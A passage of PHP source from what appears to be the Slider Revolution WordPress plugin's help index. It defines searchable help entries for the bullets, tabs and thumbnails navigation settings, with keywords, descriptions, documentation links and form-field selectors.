'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_posi', $f => "*[name='sr_bulletdirection'][value='horizontal']" ) ), 'align_by' => array( $t => __("Align By Slider/Content", 'revsliderhelp'), $h => "nav.bullets.align", $k => array("bullets", "bullet align", "bullet alignment"), $d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_posi', $f => "*[name='sr_bulletsalign'][value='slider']" ) ), 'alignment' => array( $t => __("Alignment", 'revsliderhelp'), $h => "nav.bullets.horizontal, nav.bullets.vertical", $k => array("bullet align", "bullet alignment", "bullet position", "bullets position"), $d => __("The Bullet's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_posi', $f => "#bulletspos_selector_center-center" ) ), 'offsetx' => array( $t => __("Offset X", 'revsliderhelp'), $h => "nav.bullets.offsetX", $k => array("bullet position", "bullet offset"), $d => __("Offset the Bullet's horizontal position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_posi', $f => "#nav_bullets_offsetx" ) ), 'offsety' => array( $t => __("Offset Y", 'revsliderhelp'), $h => "nav.bullets.offsetY", $k => array("bullet position", "bullet offset"), $d => __("Offset the Bullet's vertical position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_posi', $f => "#nav_bullets_offsety" ) ) ), 'visibility' => array( 'rtl' => array( $t => __("Right to Left", 'revsliderhelp'), $h => "nav.bullets.rtl", $k => array("rtl", "right to left", "right-to-left"), $d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#sr_bulletrtl" ) ), 'animation' => array( $t => __("Bullets Animation", 'revsliderhelp'), $h => "nav.bullets.anim", $k => array("bullets animation", "bullet animation", "show bullets", "hide bullets", "navigation animation"), $d => __("Optionally animate the bullets into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#sr_bullets_animation" ) ), 'show_speed' => array( $t => __("Bullets Animation Speed", 'revsliderhelp'), $h => "nav.bullets.animSpeed", $k => array("bullets visibility", "show speed", "navigation speed"), $d => __("The animation speed for when the Bullets animate into and out of view", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#nav_bullet_animSpeed" ) ), 'show_delay' => array( $t => __("Bullets Show Delay", 'revsliderhelp'), $h => "nav.bullets.animDelay", $k => array("bullets visibility", "navigation delay"), $d => __("A delay in milliseconds before the Bullets animate into view", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#nav_bullet_animDelay" ) ), 'hide_after' => array( $di => "nav_bullets_hideafter", $t => __("Hide After", 'revsliderhelp'), $h => "nav.bullets.alwaysOn", $k => array("bullets visibility", "hide after"), $d => __("Auto-hide the bullets after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#sr_bulletsalwshow" ) ), 'hide_after_desktop' => array( $t => __("Hide After: Desktop", 'revsliderhelp'), $h => "nav.bullets.hideDelay", $k => array("bullets visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Bullets are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'), array($p => 'settings.nav.bullets.alwaysOn', $v => true, $o => 'nav_bullets_hideafter') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#nav_bullets_hideDelay" ) ), 'hide_after_mobile' => array( $t => __("Hide After: Mobile", 'revsliderhelp'), $h => "nav.bullets.hideDelayMobile", $k => array("bullets visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Bullets are hidden on mobile devices (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'), array($p => 'settings.nav.bullets.alwaysOn', $v => true, $o => 'nav_bullets_hideafter') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#nav_bullets_hideDelayMobile" ) ), 'hide_under' => array( $di => "nav_bullets_hideunder", $t => __("Hide Under", 'revsliderhelp'), $h => "nav.bullets.hideUnder", $k => array("bullets visibility", "hide under", "hide under width"), $d => __("Hide the Bullets when the browser window is equal to or below a certain number", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#sr_bulletshideunder" ) ), 'hide_under_limit' => array( $t => __("Hide Under Limit", 'revsliderhelp'), $h => "nav.bullets.hideUnderLimit", $k => array("bullets visibility", "hide under", "hide under limit"), $d => __("Hide the Bullets when the browser window is equal to or below this number", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'), array($p => 'settings.nav.bullets.hideUnder', $v => true, $o => 'nav_bullets_hideunder') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#nav_bullets_hideunderlimit" ) ), 'hide_over' => array( $di => "nav_bullets_hideover", $t => __("Hide Over", 'revsliderhelp'), $h => "nav.bullets.hideOver", $k => array("bullets visibility", "hide over", "hide over limit"), $d => __("Hide the Bullets when the browser window is equal to or above a certain number", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#sr_bulletshideover" ) ), 'hide_over_limit' => array( $t => __("Hide Over Limit", 'revsliderhelp'), $h => "nav.bullets.hideOverLimit", $k => array("bullets visibility", "hide over", "hide over limit"), $d => __("Hide the Bullets when the browser window is equal to or above this number", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets'), array($p => 'settings.nav.bullets.hideOver', $v => true, $o => 'nav_bullets_hideover') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_visi', $f => "#nav_bullets_hideoverlimit" ) ) ), 'styles' => array( 'css_styling' => array( $t => __("CSS Styling", 'revsliderhelp'), $h => "navigation.styles", $k => array("navigation", "navigation styles", "bullets style", "bullets style", "bullet style"), $d => __("Adjust the size colors and other styles for the bullets", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_nav_bullets_style', $f => "#form_nav_bullets_style .navstyleinput{first}" ) ), 'override' => array( $t => __("Use Custom Style", 'revsliderhelp'), $h => "navigation.styles.default", $k => array("navigation", "navigation styles", "bullets style", "bullets style", "bullet style"), $d => __("Enable custom styling overrides for the bullets", 'revsliderhelp'), $a => $u . "navigation-bullets/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.bullets.set', $v => true, $o => 'nav_bullets') ), $m => "#module_navigation_trigger, #gst_nav_3", $st => '#form_slide_nav_bullets', $f => "#form_slide_nav_bullets .navstyleinput{first}" ) ) ) ), 'gst_nav_4' => array( 'enable' => array( $di => "nav_tabs", $t => __("Enable Tabs", 'revsliderhelp'), $h => "nav.tabs.set", $k => array("navigation", "tab", "tabs", "add tabs", "add navigation"), $d => __("Enable Tabs for the Slider's navigation", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_mainstyle', $f => "#sr_usenavtabs" ) ), 'type' => array( $t => __("Tabs Type/Style", 'revsliderhelp'), $h => "nav.tabs.style", $k => array("navigation", "tabs", "tab type", "tab style", "tabs style", "tabs type"), $d => __("Choose a predefined style for the Tabs navigation", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_mainstyle', $f => "#sr_tabs_style" ) ), 'positioning' => array( 'orientation' => array( $t => __("Orientation", 'revsliderhelp'), $h => "nav.tabs.direction", $k => array("tabs orientation", "tab orientation", "gap", "orientation", "tab horizontal", "tabs horizontal", "tab vertical", "tabs veritcal"), $d => __("Display the tabs next to one another (horizontal) or on top of one another (vertical)", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_posi', $f => "*[name='sr_tabsdirection'][value='horizontal']" ) ), 'align_by' => array( $t => __("Align By Slider/Content", 'revsliderhelp'), $h => "nav.tabs.align", $k => array("tabs", "tab align", "tab alignment"), $d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_posi', $f => "*[name='sr_tabsalign'][value='slider']" ) ), 'inner_outer' => array( $t => __("Inner/Outer", 'revsliderhelp'), $h => "nav.tabs.innerOuter", $k => array("tabs. tabs position", "tabs inner", "tabs outer", "inner outer", "inner", "outer vertical", "outer horizontal"), $d => __("Choose if the tabs should appear inside or outside the Slider's main content area", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_posi', $f => "*[name='sr_tabsinnerouter'][value='inner']" ) ), 'alignment' => array( $t => __("Alignment", 'revsliderhelp'), $h => "nav.tabs.horizontal, nav.tabs.vertical", $k => array("tab align", "tab alignment", "tab position", "tabs position"), $d => __("The Tab's alignment position in the Slider before any offset(s) are applied", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_posi', $f => "#tabspos_selector_center-center" ) ), 'offsetx' => array( $t => __("Offset X", 'revsliderhelp'), $h => "nav.tabs.offsetX", $k => array("tab position", "tab offset"), $d => __("Offset the Tab's horizontal position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_posi', $f => "#nav_tabs_offsetx" ) ), 'offsety' => array( $t => __("Offset Y", 'revsliderhelp'), $h => "nav.tabs.offsetY", $k => array("tab position", "tab offset"), $d => __("Offset the Tab's vertical position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_posi', $f => "#nav_tabs_offsety" ) ), 'visible_amount' => array( $t => __("Num. Tabs", 'revsliderhelp'), $h => "nav.tabs.amount", $k => array("tabs amount", "num tabs", "number tabs"), $d => __("The maximum number of tabs that should be visible regardless of the screen size", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_posi', $f => "#nav_tabs_amount" ) ) ), 'size' => array( 'space' => array( $t => __("Spacing", 'revsliderhelp'), $h => "nav.tabs.space", $k => array("tabs space", "tabs spacing", "tab space", "tabs spacing", "tab margin", "tab padding", "tabs margin", "tabs padding"), $d => __("The space between each individual tab (in pixels)", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_size', $f => "#nav_tabs_space" ) ), 'width' => array( $t => __("Width", 'revsliderhelp'), $h => "nav.tabs.width", $k => array("tabs width", "tab width", "tabs size", "tab size"), $d => __("The default width for each individual tab", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_size', $f => "#nav_tabs_width" ) ), 'min_width' => array( $t => __("Minimum Width", 'revsliderhelp'), $h => "nav.tabs.widthMin", $k => array("tabs min-width", "tabs min-width", "tabs size", "tab size", "tabs min width", "tabs minimum width"), $d => __("The minimum width for each individual tab", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_size', $f => "#nav_tabs_widthMin" ) ), 'height' => array( $t => __("Height", 'revsliderhelp'), $h => "nav.tabs.height", $k => array("tabs height", "tabs height", "tabs size", "tab size"), $d => __("The default height for each individual tab", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_size', $f => "#nav_tabs_height" ) ) ), 'wrapper' => array( 'color' => array( $t => __("Color", 'revsliderhelp'), $h => "nav.tabs.wrapperColor", $k => array("tabs color", "tabs color", "tabs size", "tab size"), $d => __("The background color for the tabs main wrapper", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_wrap', $f => "#sliderTabBgColor" ) ), 'padding' => array( $t => __("Padding", 'revsliderhelp'), $h => "nav.tabs.padding", $k => array("tabs wrapper", "tabs wrapper padding", "wrapper padding"), $d => __("The CSS padding that will be applied to the tabs outer wrapper div", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_wrap', $f => "#nav_tabs_padding" ) ), 'span' => array( $t => __("Span/Full-Width", 'revsliderhelp'), $h => "nav.tabs.spanWrapper", $k => array("tabs span", "tabs wrapper", "tabs wrapper span", "tabs full width", "tabs full-width"), $d => __("Choose if the wrapper should be displayed as a block or an inline-block", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_wrap', $f => "#sr_tabspan" ) ) ), 'visibility' => array( 'rtl' => array( $t => __("Right to Left", 'revsliderhelp'), $h => "nav.tabs.rtl", $k => array("rtl", "right to left", "right-to-left"), $d => __("Use RTL language alignment for the Arrow positioning", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#sr_tabsrtl" ) ), 'animation' => array( $t => __("Tabs Animation", 'revsliderhelp'), $h => "nav.tabs.anim", $k => array("tabs animation", "bullet animation", "show tabs", "hide tabs", "navigation animation"), $d => __("Optionally animate the tabs into and out of view when the slider first loads and on mouse hover", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#sr_tabs_animation" ) ), 'show_speed' => array( $t => __("Tabs Animation Speed", 'revsliderhelp'), $h => "nav.tabs.animSpeed", $k => array("tabs visibility", "show speed", "navigation speed"), $d => __("The animation speed for when the Tabs animate into and out of view", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#nav_tab_animSpeed" ) ), 'show_delay' => array( $t => __("Tabs Show Delay", 'revsliderhelp'), $h => "nav.tabs.animDelay", $k => array("tabs visibility", "navigation delay"), $d => __("A delay in milliseconds before the Tabs animate into view", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#nav_tab_animDelay" ) ), 'hide_after' => array( $di => "nav_tabs_hideafter", $t => __("Hide After", 'revsliderhelp'), $h => "nav.tabs.alwaysOn", $k => array("tabs visibility", "hide after"), $d => __("Auto-hide the tabs after a set amount of time (will be shown again when the user hovers/taps the Slider)", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#sr_tabsalwshow" ) ), 'hide_after_desktop' => array( $t => __("Hide After: Desktop", 'revsliderhelp'), $h => "nav.tabs.hideDelay", $k => array("tabs visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Tabs are hidden on Desktop computers (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'), array($p => 'settings.nav.tabs.alwaysOn', $v => true, $o => 'nav_tabs_hideafter') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#nav_tabs_hideDelay" ) ), 'hide_after_mobile' => array( $t => __("Hide After: Mobile", 'revsliderhelp'), $h => "nav.tabs.hideDelayMobile", $k => array("tabs visibility", "hide after", "hide after desktop"), $d => __("The amount of the time before the Tabs are hidden on mobile devices (in milliseconds)", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'), array($p => 'settings.nav.tabs.alwaysOn', $v => true, $o => 'nav_tabs_hideafter') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#nav_tabs_hideDelayMobile" ) ), 'hide_under' => array( $di => "nav_tabs_hideunder", $t => __("Hide Under", 'revsliderhelp'), $h => "nav.tabs.hideUnder", $k => array("tabs visibility", "hide under", "hide under width"), $d => __("Hide the Tabs when the browser window is equal to or below a certain number", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#sr_tabshideunder" ) ), 'hide_under_limit' => array( $t => __("Hide Under Limit", 'revsliderhelp'), $h => "nav.tabs.hideUnderLimit", $k => array("tabs visibility", "hide under", "hide under limit"), $d => __("Hide the Tabs when the browser window is equal to or below this number", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'), array($p => 'settings.nav.tabs.hideUnder', $v => true, $o => 'nav_tabs_hideunder') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#nav_tabs_hideunderlimit" ) ), 'hide_over' => array( $di => "nav_tabs_hideover", $t => __("Hide Over", 'revsliderhelp'), $h => "nav.tabs.hideOver", $k => array("tabs visibility", "hide over", "hide over limit"), $d => __("Hide the Tabs when the browser window is equal to or above a certain number", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#sr_tabshideover" ) ), 'hide_over_limit' => array( $t => __("Hide Over Limit", 'revsliderhelp'), $h => "nav.tabs.hideOverLimit", $k => array("tabs visibility", "hide over", "hide over limit"), $d => __("Hide the Tabs when the browser window is equal to or above this number", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs'), array($p => 'settings.nav.tabs.hideOver', $v => true, $o => 'nav_tabs_hideover') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_visi', $f => "#nav_tabs_hideoverlimit" ) ) ), 'styles' => array( 'css_styling' => array( $t => __("CSS Styling", 'revsliderhelp'), $h => "navigation.styles", $k => array("navigation", "navigation styles", "tabs style", "tabs style", "tab style", "tabs style", "tab style", "tab style"), $d => __("Adjust the size colors and other styles for the tabs", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_nav_tabs_style', $f => "#form_nav_tabs_style .navstyleinput{first}" ) ), 'override' => array( $t => __("Use Custom Style", 'revsliderhelp'), $h => "navigation.styles.default", $k => array("navigation", "navigation styles", "tabs style", "tabs style", "tab style", "tabs style", "tab style", "bullet style"), $d => __("Enable custom styling overrides for the tabs", 'revsliderhelp'), $a => $u . "navigation-tabs/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.tabs.set', $v => true, $o => 'nav_tabs') ), $m => "#module_navigation_trigger, #gst_nav_4", $st => '#form_slide_nav_tabs', $f => "#form_slide_nav_tabs .navstyleinput{first}" ) ) ) ), 'gst_nav_5' => array( 'enable' => array( $di => "nav_thumbs", $t => __("Enable Thumbnails", 'revsliderhelp'), $h => "nav.thumbs.set", $k => array("navigation", "thumb", "thumbs", "add thumbs", "add navigation"), $d => __("Enable Thumbnails for the Slider's navigation", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_mainstyle', $f => "#sr_usenavthumbs" ) ), 'type' => array( $t => __("Thumbnails Type/Style", 'revsliderhelp'), $h => "nav.thumbs.style", $k => array("navigation", "thumbs", "thumb type", "thumb style", "thumbs style", "thumbs type"), $d => __("Choose a predefined style for the Thumbnails navigation", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_mainstyle', $f => "#sr_thumbs_style" ) ), 'positioning' => array( 'orientation' => array( $t => __("Orientation", 'revsliderhelp'), $h => "nav.thumbs.direction", $k => array("thumbs orientation", "thumb orientation", "gap", "orientation", "thumb horizontal", "thumbs horizontal", "thumb vertical", "thumbs veritcal"), $d => __("Display the thumbs next to one another (horizontal) or on top of one another (vertical)", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v => true, $o => 'nav_thumbs') ), $m => "#module_navigation_trigger, #gst_nav_5", $st => '#form_nav_thumbs_posi', $f => "*[name='sr_thumbsdirection'][value='horizontal']" ) ), 'align_by' => array( $t => __("Align By Slider/Content", 'revsliderhelp'), $h => "nav.thumbs.align", $k => array("thumbs", "thumb align", "thumb alignment"), $d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'), $a => $u . "navigation-thumbnails/", $hl => array( $dp => array( array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard'), array($p => 'settings.nav.thumbs.set', $v 